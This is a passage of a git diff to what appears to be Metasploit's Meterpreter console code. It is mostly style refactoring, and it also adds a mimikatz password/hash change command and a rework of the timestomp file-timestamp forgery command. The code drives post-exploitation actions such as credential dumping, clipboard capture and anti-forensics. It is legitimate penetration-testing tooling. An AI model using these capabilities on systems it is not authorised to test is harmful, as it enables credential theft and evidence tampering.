           entry << t[:ua]
@@ -782,42 +931,42 @@ class Console::CommandDispatcher::Core
 
       print("\n" + tbl.to_s + "\n")
     when 'next'
-      print_status("Changing to next transport ...")
+      print_status('Changing to next transport ...')
       if client.core.transport_next
-        print_good("Successfully changed to the next transport, killing current session.")
+        print_good('Successfully changed to the next transport, killing current session.')
         client.shutdown_passive_dispatcher
         shell.stop
       else
-        print_error("Failed to change transport, please check the parameters")
+        print_error('Failed to change transport, please check the parameters')
       end
     when 'prev'
-      print_status("Changing to previous transport ...")
+      print_status('Changing to previous transport ...')
       if client.core.transport_prev
-        print_good("Successfully changed to the previous transport, killing current session.")
+        print_good('Successfully changed to the previous transport, killing current session.')
         client.shutdown_passive_dispatcher
         shell.stop
       else
-        print_error("Failed to change transport, please check the parameters")
+        print_error('Failed to change transport, please check the parameters')
       end
     when 'change'
-      print_status("Changing to new transport ...")
+      print_status('Changing to new transport ...')
       if client.core.transport_change(opts)
         print_good("Successfully added #{opts[:transport]} transport, killing current session.")
         client.shutdown_passive_dispatcher
         shell.stop
       else
-        print_error("Failed to change transport, please check the parameters")
+        print_error('Failed to change transport, please check the parameters')
       end
     when 'add'
-      print_status("Adding new transport ...")
+      print_status('Adding new transport ...')
       if client.core.transport_add(opts)
         print_good("Successfully added #{opts[:transport]} transport.")
       else
-        print_error("Failed to add transport, please check the parameters")
+        print_error('Failed to add transport, please check the parameters')
       end
     when 'remove'
       if opts[:transport] && !opts[:transport].end_with?('_tcp') && opts[:uri].nil?
-        print_error("HTTP/S transport specified without session URI")
+        print_error('HTTP/S transport specified without session URI')
         return
       end
 
@@ -829,7 +978,7 @@ class Console::CommandDispatcher::Core
           opts[:transport] = "reverse_#{uri.scheme}"
           opts[:lhost]     = uri.host
           opts[:lport]     = uri.port
-          opts[:uri]       = uri.path[1..-2] if uri.scheme.include?("http")
+          opts[:uri]       = uri.path[1..-2] if uri.scheme.include?('http')
 
         rescue URI::InvalidURIError
           print_error("Failed to parse URL: #{url_to_delete}")
@@ -837,11 +986,11 @@ class Console::CommandDispatcher::Core
         end
       end
 
-      print_status("Removing transport ...")
+      print_status('Removing transport ...')
       if client.core.transport_remove(opts)
         print_good("Successfully removed #{opts[:transport]} transport.")
       else
-        print_error("Failed to remove transport, please check the parameters")
+        print_error('Failed to remove transport, please check the parameters')
       end
     end
   end
@@ -849,8 +998,8 @@ class Console::CommandDispatcher::Core
   @@migrate_opts = Rex::Parser::Arguments.new(
     '-P' => [true, 'PID to migrate to.'],
     '-N' => [true, 'Process name to migrate to.'],
-    '-p' => [true,  'Writable path - Linux only (eg. /tmp).'],
-    '-t' => [true,  'The number of seconds to wait for migration to finish (default: 60).'],
+    '-p' => [true, 'Writable path - Linux only (eg. /tmp).'],
+    '-t' => [true, 'The number of seconds to wait for migration to finish (default: 60).'],
     '-h' => [false, 'Help menu.']
   )
 
@@ -898,7 +1047,7 @@ class Console::CommandDispatcher::Core
         pid = val.to_i
       when '-N'
         if val.to_s.empty?
-          print_error("No process name provided")
+          print_error('No process name provided')
           return
         end
         # this will migrate to the first process with a matching name
@@ -980,23 +1129,23 @@ class Console::CommandDispatcher::Core
   end
 
   def cmd_load_help
-    print_line("Usage: load ext1 ext2 ext3 ...")
+    print_line('Usage: load ext1 ext2 ext3 ...')
     print_line
-    print_line "Loads a meterpreter extension module or modules."
-    print_line @@load_opts.usage
+    print_line('Loads a meterpreter extension module or modules.')
+    print_line(@@load_opts.usage)
   end
 
   #
   # Loads one or more meterpreter extensions.
   #
   def cmd_load(*args)
-    if (args.length == 0)
-      args.unshift("-h")
+    if args.length == 0
+      args.unshift('-h')
     end
 
     @@load_opts.parse(args) { |opt, idx, val|
       case opt
-      when "-l"
+      when '-l'
         exts = SortedSet.new
         msf_path = MetasploitPayloads.msf_meterpreter_dir
         gem_path = MetasploitPayloads.local_meterpreter_dir
@@ -1010,7 +1159,7 @@ class Console::CommandDispatcher::Core
         print(exts.to_a.join("\n") + "\n")
 
         return true
-      when "-h"
+      when '-h'
         cmd_load_help
         return true
       end
@@ -1038,7 +1187,7 @@ class Console::CommandDispatcher::Core
         next
       end
 
-      print_line("success.")
+      print_line('Success.')
     }
 
     return true
@@ -1068,9 +1217,9 @@ class Console::CommandDispatcher::Core
   alias cmd_use_tabs cmd_load_tabs
 
   def cmd_read_help
-    print_line "Usage: read <channel_id> [length]"
+    print_line('Usage: read <channel_id> [length]')
     print_line
-    print_line "Reads data from the supplied channel."
+    print_line('Reads data from the supplied channel.')
     print_line
   end
 
@@ -1078,7 +1227,7 @@ class Console::CommandDispatcher::Core
   # Reads data from a channel.
   #
   def cmd_read(*args)
-    if (args.length == 0)
+    if args.length == 0
       cmd_read_help
       return true
     end
@@ -1087,17 +1236,17 @@ class Console::CommandDispatcher::Core
     length  = (args.length >= 2) ? args[1].to_i : 16384
     channel = client.find_channel(cid)
 
-    if (!channel)
+    unless channel
       print_error("Channel #{cid} is not valid.")
       return true
     end
 
     data = channel.read(length)
 
-    if (data and data.length)
+    if data && data.length
       print("Read #{data.length} bytes from #{cid}:\n\n#{data}\n")
     else
-      print_error("No data was returned.")
+      print_error('No data was returned.')
     end
 
     return true
@@ -1106,11 +1255,11 @@ class Console::CommandDispatcher::Core
   alias cmd_read_tabs cmd_close_tabs
 
   def cmd_run_help
-    print_line "Usage: run <script> [arguments]"
+    print_line('Usage: run <script> [arguments]')
     print_line
-    print_line "Executes a ruby script or Metasploit Post module in the context of the"
-    print_line "meterpreter session.  Post modules can take arguments in var=val format."
-    print_line "Example: run post/foo/bar BAZ=abcd"
+    print_line('Executes a ruby script or Metasploit Post module in the context of the')
+    print_line('meterpreter session.  Post modules can take arguments in var=val format.')
+    print_line('Example: run post/foo/bar BAZ=abcd')
     print_line
   end
 
@@ -1129,7 +1278,7 @@ class Console::CommandDispatcher::Core
       # First try it as a Post module if we have access to the Metasploit
       # Framework instance.  If we don't, or if no such module exists,
       # fall back to using the scripting interface.
-      if (msf_loaded? and mod = client.framework.modules.create(script_name))
+      if msf_loaded? && mod = client.framework.modules.create(script_name)
         original_mod = mod
         reloaded_mod = client.framework.modules.reload_module(original_mod)
 
@@ -1160,11 +1309,12 @@ class Console::CommandDispatcher::Core
 
   def cmd_run_tabs(str, words)
     tabs = []
-    if(not words[1] or not words[1].match(/^\//))
+    unless words[1] && words[1].match(/^\//)
       begin
-        if (msf_loaded?)
+        if msf_loaded?
           tabs += tab_complete_postmods
         end
+
         [
           ::Msf::Sessions::Meterpreter.script_base,
           ::Msf::Sessions::Meterpreter.user_script_base
@@ -1178,7 +1328,8 @@ class Console::CommandDispatcher::Core
       rescue Exception
       end
     end
-    return tabs.map { |e| e.sub(/\.rb$/, '') }
+
+    tabs.map { |e| e.sub(/\.rb$/, '') }
   end
 
 
@@ -1187,9 +1338,10 @@ class Console::CommandDispatcher::Core
   #
   def cmd_bgrun(*args)
     if args.length == 0
-      print_line(
-        "Usage: bgrun <script> [arguments]\n\n" +
-        "Executes a ruby script in the context of the meterpreter session.")
+        print_line('Usage: bgrun <script> [arguments]')
+        print_line
+        print_line('Executes a ruby script in the context of the meterpreter session.')
+        print_line
       return true
     end
 
@@ -1226,7 +1378,7 @@ class Console::CommandDispatcher::Core
   #
   def cmd_bgkill(*args)
     if args.length == 0
-      print_line("Usage: bgkill [id]")
+      print_line('Usage: bgkill [id]')
       return
     end
 
@@ -1254,9 +1406,9 @@ class Console::CommandDispatcher::Core
   end
 
   def cmd_info_help
-    print_line 'Usage: info <module>'
+    print_line('Usage: info <module>')
     print_line
-    print_line 'Prints information about a post-exploitation module'
+    print_line('Prints information about a post-exploitation module')
     print_line
   end
 
@@ -1268,7 +1420,7 @@ class Console::CommandDispatcher::Core
   def cmd_info(*args)
     return unless msf_loaded?
 
-    if args.length != 1 or args.include?("-h")
+    if args.length != 1 or args.include?('-h')
       cmd_info_help
       return
     end
@@ -1277,7 +1429,7 @@ class Console::CommandDispatcher::Core
     mod = client.framework.modules.create(module_name);
 
     if mod.nil?
-      print_error 'Invalid module: ' << module_name
+      print_error("Invalid module: #{module_name}")
     end
 
     if (mod)
@@ -1296,18 +1448,18 @@ class Console::CommandDispatcher::Core
   # Writes data to a channel.
   #
   @@write_opts = Rex::Parser::Arguments.new(
-    "-f" => [ true,  "Write the contents of a file on disk" ],
-    "-h" => [ false, "Help menu."                           ])
+    '-f' => [true, 'Write the contents of a file on disk'],
+    '-h' => [false, 'Help menu.'])
 
   def cmd_write_help
-    print_line "Usage: write [options] channel_id"
+    print_line('Usage: write [options] channel_id')
     print_line
-    print_line "Writes data to the supplied channel."
-    print_line @@write_opts.usage
+    print_line('Writes data to the supplied channel.')
+    print_line(@@write_opts.usage)
   end
 
   def cmd_write(*args)
-    if (args.length == 0 or args.include?("-h"))
+    if args.length == 0 || args.include?("-h")
       cmd_write_help
       return
     end
@@ -1325,14 +1477,14 @@ class Console::CommandDispatcher::Core
     }
 
     # Find the channel associated with this cid, assuming the cid is valid.
-    if ((!cid) or (!(channel = client.find_channel(cid))))
-      print_error("Invalid channel identifier specified.")
+    unless cid && channel = client.find_channel(cid)
+      print_error('Invalid channel identifier specified.')
       return true
     end
 
     # If they supplied a source file, read in its contents and write it to
     # the channel
-    if (src_file)
+    if src_file
       begin
         data = ''
 
@@ -1345,7 +1497,7 @@ class Console::CommandDispatcher::Core
         return true
       end
 
-      if (data and data.length > 0)
+      if data && data.length > 0
         channel.write(data)
         print_status("Wrote #{data.length} bytes to channel #{cid}.")
       else
@@ -1354,18 +1506,20 @@ class Console::CommandDispatcher::Core
       end
     # Otherwise, read from the input descriptor until we're good to go.
     else
-      print("Enter data followed by a '.' on an empty line:\n\n")
+      print_line('Enter data followed by a "." on an empty line:')
+      print_line
+      print_line
 
       data = ''
 
       # Keep truckin'
-      while (s = shell.input.gets)
-        break if (s =~ /^\.\r?\n?$/)
+      while s = shell.input.gets
+        break if s =~ /^\.\r?\n?$/
         data += s
       end
 
-      if (!data or data.length == 0)
-        print_error("No data to send.")
+      if !data || data.length == 0
+        print_error('No data to send.')
       else
         channel.write(data)
         print_status("Wrote #{data.length} bytes to channel #{cid}.")
@@ -1376,9 +1530,9 @@ class Console::CommandDispatcher::Core
   end
 
   def cmd_resource_help
-    print_line "Usage: resource <path1> [path2 ...]"
+    print_line('Usage: resource <path1> [path2 ...]')
     print_line
-    print_line "Run the commands stored in the supplied files."
+    print_line('Run the commands stored in the supplied files.')
     print_line
   end
 
@@ -1386,6 +1540,7 @@ class Console::CommandDispatcher::Core
     if args.empty?
       return false
     end
+
     args.each do |glob|
       files = ::Dir.glob(::File.expand_path(glob))
       if files.empty?
@@ -1398,9 +1553,9 @@ class Console::CommandDispatcher::Core
           print_error("Could not read file #{filename}")
           next
         else
-          ::File.open(filename, "r").each_line do |line|
+          ::File.open(filename, 'r').each_line do |line|
             next if line.strip.length < 1
-            next if line[0,1] == "#"
+            next if line[0,1] == '#'
             begin
               print_status("Running #{line}")
               client.console.run_single(line)
@@ -1422,19 +1577,20 @@ class Console::CommandDispatcher::Core
 
   def cmd_enable_unicode_encoding
     client.encode_unicode = true
-    print_status("Unicode encoding is enabled")
+    print_status('Unicode encoding is enabled')
   end
 
   def cmd_disable_unicode_encoding
     client.encode_unicode = false
-    print_status("Unicode encoding is disabled")
+    print_status('Unicode encoding is disabled')
   end
 
-  @@client_extension_search_paths = [ ::File.join(Rex::Root, "post", "meterpreter", "ui", "console", "command_dispatcher") ]
+  @@client_extension_search_paths = [::File.join(Rex::Root, 'post', 'meterpreter', 'ui', 'console', 'command_dispatcher')]
 
   def self.add_client_extension_search_path(path)
     @@client_extension_search_paths << path unless @@client_extension_search_paths.include?(path)
   end
+
   def self.client_extension_search_paths
     @@client_extension_search_paths
   end
@@ -1474,12 +1630,14 @@ protected
           print_error("Failed to load client script file: #{path}")
           return false
         end
+
       else
         # the klass is already loaded, from a previous invocation
         loaded = true
         break
       end
     end
+
     unless loaded
       print_error("Failed to load client portion of #{mod}.")
       return false
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb
index 1cb866af3b..1dcbcd47e5 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb
@@ -25,7 +25,7 @@ class Console::CommandDispatcher::Extapi::Adsi
   # List of supported commands.
   #
   def commands
-    {
+    all = {
       'adsi_user_enum'              => 'Enumerate all users on the specified domain.',
       'adsi_group_enum'             => 'Enumerate all groups on the specified domain.',
       'adsi_nested_group_user_enum' => 'Recursively enumerate users who are effectively members of the group specified.',
@@ -33,6 +33,15 @@ class Console::CommandDispatcher::Extapi::Adsi
       'adsi_dc_enum'                => 'Enumerate all domain controllers on the specified domain.',
       'adsi_domain_query'           => 'Enumerate all objects on the specified domain that match a filter.'
     }
+    reqs = {
+      "adsi_user_enum"              => [ "extapi_adsi_domain_query" ],
+      "adsi_group_enum"             => [ "extapi_adsi_domain_query" ],
+      "adsi_nested_group_user_enum" => [ "extapi_adsi_domain_query" ],
+      "adsi_computer_enum"          => [ "extapi_adsi_domain_query" ],
+      "adsi_dc_enum"                => [ "extapi_adsi_domain_query" ],
+      "adsi_domain_query"           => [ "extapi_adsi_domain_query" ],
+    }
+    filter_commands(all, reqs)
   end
 
   #
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb
index 7707e53c77..547ff2138f 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb
@@ -20,7 +20,7 @@ class Console::CommandDispatcher::Extapi::Clipboard
   # List of supported commands.
   #
   def commands
-    {
+    all = {
       "clipboard_get_data"       => "Read the target's current clipboard (text, files, images)",
       "clipboard_set_text"       => "Write text to the target's clipboard",
       "clipboard_monitor_start"  => "Start the clipboard monitor",
@@ -30,6 +30,17 @@ class Console::CommandDispatcher::Extapi::Clipboard
       "clipboard_monitor_purge"  => "Delete all captured cilpboard content without dumping it",
       "clipboard_monitor_stop"   => "Stop the clipboard monitor"
     }
+    reqs = {
+      "clipboard_get_data"       => [ "extapi_clipboard_get_data" ],
+      "clipboard_set_text"       => [ "extapi_clipboard_set_data" ],
+      "clipboard_monitor_start"  => [ "extapi_clipboard_monitor_start" ],
+      "clipboard_monitor_pause"  => [ "extapi_clipboard_monitor_pause" ],
+      "clipboard_monitor_resume" => [ "extapi_clipboard_monitor_resume" ],
+      "clipboard_monitor_dump"   => [ "extapi_clipboard_monitor_dump" ],
+      "clipboard_monitor_purge"  => [ "extapi_clipboard_monitor_purge" ],
+      "clipboard_monitor_stop"   => [ "extapi_clipboard_monitor_stop" ],
+    }
+    filter_commands(all, reqs)
   end
 
   #
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb
index 45df08bd33..9b4de4032b 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb
@@ -21,11 +21,17 @@ class Console::CommandDispatcher::Extapi::Service
   # List of supported commands.
   #
   def commands
-    {
+    all = {
       "service_enum"    => "Enumerate all registered Windows services",
       "service_query"   => "Query more detail about a specific Windows service",
       "service_control" => "Control a single service (start/pause/resume/stop/restart)"
     }
+    reqs = {
+      "service_enum"    => [ "extapi_service_enum" ],
+      "service_query"   => [ "extapi_service_query" ],
+      "service_control" => [ "extapi_service_control" ],
+    }
+    filter_commands(all, reqs)
   end
 
   #
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/window.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/window.rb
index 72c0210fbd..e8af2754d3 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/window.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/window.rb
@@ -21,9 +21,13 @@ class Console::CommandDispatcher::Extapi::Window
   # List of supported commands.
   #
   def commands
-    {
+    all = {
       "window_enum" => "Enumerate all current open windows"
     }
+    reqs = {
+      "window_enum" => [ "extapi_window_enum" ],
+    }
+    filter_commands(all, reqs)
   end
 
   #
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi.rb
index 68c5612893..7b6c7f57a8 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi.rb
@@ -25,9 +25,13 @@ class Console::CommandDispatcher::Extapi::Wmi
   # List of supported commands.
   #
   def commands
-    {
-      "wmi_query" => "Perform a generic WMI query and return the results"
+    all = {
+      "wmi_query" => "Perform a generic WMI query and return the results",
     }
+    reqs = {
+      "wmi_query" => [ "extapi_wmi_query" ],
+    }
+    filter_commands(all, reqs)
   end
 
   #
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb
index 6074c23a92..b3353218fc 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb
@@ -38,7 +38,7 @@ class Console::CommandDispatcher::Kiwi
     super
     print_line
     print_line
-    print_line("  .#####.   mimikatz 2.1.1-20170409 (#{client.session_type})")
+    print_line("  .#####.   mimikatz 2.1.1 20170608 (#{client.session_type})")
     print_line(" .## ^ ##.  \"A La Vie, A L'Amour\"")
     print_line(" ## / \\ ##  /* * *")
     print_line(" ## \\ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )")
@@ -72,6 +72,7 @@ class Console::CommandDispatcher::Kiwi
       'kerberos_ticket_list'  => 'List all kerberos tickets (unparsed)',
       'lsa_dump_secrets'      => 'Dump LSA secrets (unparsed)',
       'lsa_dump_sam'          => 'Dump LSA SAM (unparsed)',
+      'password_change'       => 'Change the password/hash of a user',
       'wifi_list'             => 'List wifi profiles/creds for the current user',
       'wifi_list_shared'      => 'List shared wifi profiles/creds (requires SYSTEM)',
     }
@@ -82,6 +83,92 @@ class Console::CommandDispatcher::Kiwi
     print_line(output)
   end
 
+  #
+  # Valid options for the password change feature
+  #
+  @@password_change_usage_opts = Rex::Parser::Arguments.new(
+    '-h'  => [false, 'Help banner'],
+    '-u'  => [true,  'User name of the password to change.'],
+    '-s'  => [true,  'Server to perform the action on (eg. Domain Controller).'],
+    '-p' => [true,  'The known existing/old password (do not use with -n).'],
+    '-n' => [true,  'The known existing/old hash (do not use with -p).'],
+    '-P' => [true,  'The new password to set for the account (do not use with -N).'],
+    '-N' => [true,  'The new hash to set for the account (do not use with -P).']
+  )
+
+  def cmd_password_change_usage
+    print_line('Usage password_change [options]')
+    print_line
+    print_line(@@password_change_usage_opts.usage)
+  end
+
+  def cmd_password_change(*args)
+    if args.length == 0 || args.include?('-h')
+      cmd_password_change_usage
+      return
+    end
+
+    opts = {}
+
+    @@password_change_usage_opts.parse(args) { |opt, idx, val|
+      case opt
+      when '-u'
+        opts[:user] = val
+      when '-s'
+        opts[:server] = val
+      when '-p'
+        opts[:old_pass] = val
+      when '-n'
+        opts[:old_hash] = val
+      when '-P'
+        opts[:new_pass] = val
+      when '-N'
+        opts[:new_hash] = val
+      end
+    }
+
+    valid = true
+    if opts[:old_pass] && opts[:old_hash]
+      print_error('Options -p and -n cannot be used together.')
+      valid = false
+    end
+
+    if opts[:new_pass] && opts[:new_hash]
+      print_error('Options -P and -N cannot be used together.')
+      valid = false
+    end
+
+    unless opts[:old_pass] || opts[:old_hash]
+      print_error('At least one of -p and -n must be specified.')
+      valid = false
+    end
+
+    unless opts[:new_pass] || opts[:new_hash]
+      print_error('At least one of -P and -N must be specified.')
+      valid = false
+    end
+
+    unless opts[:user]
+      print_error('The -u parameter must be specified.')
+      valid = false
+    end
+
+    if valid
+
+      unless opts[:server]
+        print_status('No server (-s) specified, defaulting to localhost.')
+      end
+
+      result = client.kiwi.password_change(opts)
+
+      if result[:success] == true
+        print_good("Success! New NTLM hash: #{result[:new]}")
+      else
+        print_error("Failed! #{result[:error]}")
+      end
+    end
+  end
+
   def cmd_dcsync(*args)
     return unless check_is_domain_user
 
@@ -480,18 +567,44 @@ protected
     output = ""
 
     accounts.keys.each do |k|
-
       next if accounts[k].length == 0
 
+      # Keep track of the columns that we were given, in
+      # the order we are given them, while removing duplicates
+      columns = []
+      existing = Set.new
+      accounts[k].each do |acct|
+        acct.keys.each do |k|
+          unless existing.include?(k)
+            columns << k
+            existing.add(k)
+          end
+        end
+      end
+
       table = Rex::Text::Table.new(
         'Header'    => "#{k} credentials",
         'Indent'    => 0,
         'SortIndex' => 0,
-        'Columns'   => accounts[k][0].keys
+        'Columns'   => columns
       )
 
       accounts[k].each do |acct|
-        table << acct.values
+        values = []
+        # Iterate through the given columns and match the values up
+        # correctly based on the index of the column header.
+        columns.each do |c|
+          col_idx = acct.keys.index(c)
+          # If the column exists, we'll use the value that is associated
+          # with the column based on its index
+          if col_idx
+            values << acct.values[col_idx]
+          else
+            # Otherwise, just add a blank value
+            values << ''
+          end
+        end
+        table << values
       end
 
       output << table.to_s + "\n"
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb
index 1940a92e9d..bc6369800e 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb
@@ -29,7 +29,6 @@ class Console::CommandDispatcher::Lanattacks::Dhcp
       "dhcp_load_options" => "Load DHCP optionis from a datastore",
       "dhcp_log"          => "Log DHCP server activity"
     }
-
     reqs = {
       "dhcp_start"        => [ "lanattacks_start_dhcp" ],
       "dhcp_stop"         => [ "lanattacks_stop_dhcp" ],
@@ -38,19 +37,7 @@ class Console::CommandDispatcher::Lanattacks::Dhcp
       "dhcp_load_options" => [ "lanattacks_set_dhcp_option" ],
       "dhcp_log"          => [ "lanattacks_dhcp_log" ]
     }
-
-    all.delete_if do |cmd, desc|
-      del = false
-      reqs[cmd].each do |req|
-        next if client.commands.include? req
-        del = true
-        break
-      end
-
-      del
-    end
-
-    all
+    filter_commands(all, reqs)
   end
 
   #
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/tftp.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/tftp.rb
index 29235f141c..beb69a1d02 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/tftp.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/tftp.rb
@@ -27,26 +27,13 @@ class Console::CommandDispatcher::Lanattacks::Tftp
       "tftp_reset"    => "Reset the TFTP server",
       "tftp_add_file" => "Add a file to the TFTP server"
     }
-
     reqs = {
       "tftp_start"    => [ "lanattacks_start_tftp" ],
       "tftp_stop"     => [ "lanattacks_stop_tftp" ],
       "tftp_reset"    => [ "lanattacks_reset_tftp" ],
       "tftp_add_file" => [ "lanattacks_add_tftp_file" ],
     }
-
-    all.delete_if do |cmd, desc|
-      del = false
-      reqs[cmd].each do |req|
-        next if client.commands.include? req
-        del = true
-        break
-      end
-
-      del
-    end
-
-    all
+    filter_commands(all, reqs)
   end
 
   #
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb
index ac7d340bd2..d8c983273d 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb
@@ -159,7 +159,7 @@ class Console::CommandDispatcher::Mimikatz
   end
 
   def system_check
-    unless (client.sys.config.getuid == "NT AUTHORITY\\SYSTEM")
+    unless client.sys.config.is_system?
       print_warning("Not currently running as SYSTEM")
       return false
     end
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb
index 8d7ba38af4..a02d046e70 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb
@@ -2,141 +2,162 @@
 require 'rex/post/meterpreter'
 
 module Rex
-module Post
-module Meterpreter
-module Ui
+  module Post
+    module Meterpreter
+      module Ui
+        ###
+        #
+        # This class provides commands that interact with the timestomp feature set of
+        # the privilege escalation extension.
+        #
+        ###
+        class Console::CommandDispatcher::Priv::Timestomp
+          Klass = Console::CommandDispatcher::Priv::Timestomp
 
-###
-#
-# This class provides commands that interact with the timestomp feature set of
-# the privilege escalation extension.
-#
-###
-class Console::CommandDispatcher::Priv::Timestomp
+          include Console::CommandDispatcher
 
-  Klass = Console::CommandDispatcher::Priv::Timestomp
+          @@timestomp_opts = Rex::Parser::Arguments.new(
+            "-m" => [ true,  "Set the \"last written\" time of the file" ],
+            "-a" => [ true,  "Set the \"last accessed\" time of the file" ],
+            "-c" => [ true,  "Set the \"creation\" time of the file" ],
+            "-e" => [ true,  "Set the \"mft entry modified\" time of the file" ],
+            "-z" => [ true,  "Set all four attributes (MACE) of the file" ],
+            "-f" => [ true,  "Set the MACE of attributes equal to the supplied file" ],
+            "-b" => [ false, "Set the MACE timestamps so that EnCase shows blanks" ],
+            "-r" => [ false, "Set the MACE timestamps recursively on a directory" ],
+            "-v" => [ false, "Display the UTC MACE values of the file" ],
+            "-h" => [ false, "Help banner" ]
+          )
 
-  include Console::CommandDispatcher
+          #
+          # List of supported commands.
+          #
+          def commands
+            {
+              "timestomp" => "Manipulate file MACE attributes"
+            }
+          end
 
-  @@timestomp_opts = Rex::Parser::Arguments.new(
-    "-m" => [ true,  "Set the \"last written\" time of the file" ],
-    "-a" => [ true,  "Set the \"last accessed\" time of the file" ],
-    "-c" => [ true,  "Set the \"creation\" time of the file" ],
-    "-e" => [ true,  "Set the \"mft entry modified\" time of the file" ],
-    "-z" => [ true,  "Set all four attributes (MACE) of the file" ],
-    "-f" => [ true,  "Set the MACE of attributes equal to the supplied file" ],
-    "-b" => [ false, "Set the MACE timestamps so that EnCase shows blanks" ],
-    "-r" => [ false, "Set the MACE timestamps recursively on a directory" ],
-    "-v" => [ false, "Display the UTC MACE values of the file" ],
-    "-h" => [ false, "Help banner" ])
+          #
+          # Name for this dispatcher.
+          #
+          def name
+            "Priv: Timestomp"
+          end
 
-  #
-  # List of supported commands.
-  #
-  def commands
-    {
-      "timestomp" => "Manipulate file MACE attributes"
-    }
-  end
+          #
+          # This command provides the same level of features that vinnie's command
+          # line timestomp interface provides with a similar argument set.
+          #
+          def cmd_timestomp(*args)
+            paths = []
 
-  #
-  # Name for this dispatcher.
-  #
-  def name
-    "Priv: Timestomp"
-  end
+            modified  = nil
+            accessed  = nil
+            creation  = nil
+            emodified = nil
 
-  #
-  # This command provides the same level of features that vinnie's command
-  # line timestomp interface provides with a similar argument set.
-  #
-  def cmd_timestomp(*args)
-    if (args.length < 2)
-      print_line("\nUsage: timestomp OPTIONS file_path\n" +
-        @@timestomp_opts.usage)
-      return
-    end
+            blank_file_mace = false
+            blank_directory_mace = false
+            get_file_mace = false
+            help = false
 
-    file_path = nil
-    args.each { |a| file_path = a unless a[0] == "-" }
+            @@timestomp_opts.parse(args) do |opt, _idx, val|
+              case opt
+              when "-m"
+                modified  = str_to_time(val)
+              when "-a"
+                accessed  = str_to_time(val)
+              when "-c"
+                creation  = str_to_time(val)
+              when "-e"
+                emodified = str_to_time(val)
+              when "-z"
+                modified  = str_to_time(val)
+                accessed  = str_to_time(val)
+                creation  = str_to_time(val)
+                emodified = str_to_time(val)
+              when "-f"
+                print_status("Setting MACE attributes on #{path} from #{val}")
+                hash = client.priv.fs.get_file_mace(path)
+                if hash
+                  modified = str_to_time(hash['Modified'])
+                  accessed = str_to_time(hash['Accessed'])
+                  creation = str_to_time(hash['Created'])
+                  emodified = str_to_time(hash['Entry Modified'])
+                end
+              when "-b"
+                blank_file_mace = true
+              when "-r"
+                blank_directory_mace = true
+              when "-v"
+                get_file_mace = true
+              when "-h"
+                help = true
+              when nil
+                paths << val
+              end
+            end
 
-    if file_path.nil?
-      print_line("\nNo file_path specified.")
-      return
-    end
+            if paths.empty?
+              print_line("\nNo paths specified.")
+              return nil
+            end
 
-    args.delete(file_path)
+            if !(modified || accessed || creation || emodified ||
+                 blank_file_mace || blank_directory_mace || get_file_mace) || help
+              print_line("\nUsage: timestomp <file(s)> OPTIONS\n" +
+                @@timestomp_opts.usage)
+              return nil
+            end
 
-    modified  = nil
-    accessed  = nil
-    creation  = nil
-    emodified = nil
+            paths.uniq.each do |path|
+              # If any one of the four times were specified, change them.
+              if modified || accessed || creation || emodified
+                print_status("Setting specific MACE attributes on #{path}")
+                client.priv.fs.set_file_mace(path, modified, accessed, creation, emodified)
+              end
 
-    @@timestomp_opts.parse(args) { |opt, idx, val|
-      case opt
-        when "-m"
-          modified  = str_to_time(val)
-        when "-a"
-          accessed  = str_to_time(val)
-        when "-c"
-          creation  = str_to_time(val)
-        when "-e"
-          emodified = str_to_time(val)
-        when "-z"
-          print_line("#{val}")
-          modified  = str_to_time(val)
